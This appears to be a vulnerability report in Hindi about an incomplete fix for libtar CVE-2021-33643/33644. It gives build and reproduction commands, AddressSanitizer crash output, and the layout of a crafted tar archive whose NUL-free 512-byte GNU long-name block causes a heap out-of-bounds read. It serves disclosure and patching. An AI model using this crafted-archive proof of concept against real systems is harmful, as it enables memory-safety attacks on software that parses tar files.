
libtar: CVE-2021-33643/CVE-2021-33644 के लिए अपूर्ण फ़िक्स (GNU लंबे-नाम हैंडलिंग में हीप OOB रीड)
इसके लिए AddressSanitizer (gcc या clang) वाले C कंपाइलर और Python 3 की आवश्यकता होती है।
# 1. Clone upstream libtar
git clone https://github.com/tklauser/libtar.git
cd libtar
# 2. Generate the listhash sources (normally done by autotools)
mkdir -p build
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
listhash/listhash.h.in > build/libtar_listhash.h
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
listhash/list.c.in > build/libtar_list.c
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
listhash/hash.c.in > build/libtar_hash.c
# 3. Build libtar + the PoC consumer under ASan
# (CFLAGS below patch over values autotools would normally supply)
CFLAGS="-Ilib -Icompat -Ibuild -Ipoc \
-DNEED_MAKEDEV -DMAJOR_IN_SYSMACROS -DNEED_STRMODE \
-DPACKAGE_VERSION=\"1.2.20\" \
-include sys/sysmacros.h -include fnmatch.h -include fcntl.h -include string.h \
-O1 -g -std=gnu11"
SRCS="lib/append.c lib/block.c lib/decode.c lib/encode.c lib/extract.c \
lib/handle.c lib/output.c lib/util.c lib/wrapper.c compat/strmode.c \
build/libtar_list.c build/libtar_hash.c"
for f in $SRCS; do
gcc $CFLAGS -fsanitize=address -c "$f" -o "build/$(basename "${f%.c}").o"
done
ar rcs build/liblibtar_asan.a build/*.o
gcc $CFLAGS -fsanitize=address poc/poc_crash.c build/liblibtar_asan.a -o build/poc_crash
# 4. Craft the triggering archive and run the PoC
python3 poc/make_archive.py longname.tar
ASAN_OPTIONS=halt_on_error=1:detect_leaks=0 ./build/poc_crash longname.tar
(detect_leaks=0 एक असंबंधित, पहले से मौजूद लीक-डिटेक्टर निष्कर्ष को दबा देता है — tar_close() th_buf.gnu_longname को मुक्त नहीं करता — जिसका इस भेद्यता से कोई लेना-देना नहीं है; यदि आप वह लीक भी देखना चाहते हैं तो इसे हटा दें।)
अनपैच्ड: AddressSanitizer हीप-बफ़र-ओवरफ़्लो READ के साथ निरस्त हो जाता है:
==ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1
#0 safer_name_suffix lib/decode.c:39
#1 th_get_pathname lib/decode.c:60
0x... is located 0 bytes after 512-byte region [...]
allocated by thread T0 here:
#0 malloc
#1 th_read lib/block.c:192
पैच्ड (patches/0001-...patch लागू करने के बाद): कोई ओवरफ़्लो नहीं; th_get_pathname() ठीक उसी 512-बाइट आक्रमणकर्ता-नियंत्रित स्ट्रिंग को सही ऑफ़सेट पर टर्मिनेटर के साथ लौटाता है।
एक 3-ब्लॉक वाला tar आर्काइव:
typeflag='L') जो 512 आकार घोषित करता है।"pwn" + "A"*509 का एक 512-बाइट डेटा ब्लॉक — कहीं भी कोई NUL बाइट नहीं।th_read() gnu_longname को ठीक 512 बाइट्स के रूप में आवंटित करता है (blocks * T_BLOCKSIZE, जहाँ blocks == 1) और आर्काइव से प्रत्येक बाइट भर देता है। चूँकि डेटा में कोई NUL नहीं है, बफ़र में कोई स्ट्रिंग टर्मिनेटर नहीं है। कोई भी कोड जो इसे C स्ट्रिंग के रूप में मानता है — safer_name_suffix(), th_get_pathname(), th_get_linkname(), libtar की अपनी वर्बोज़/डीबग प्रिंटिंग — आवंटन के अंत से आगे पढ़ता है।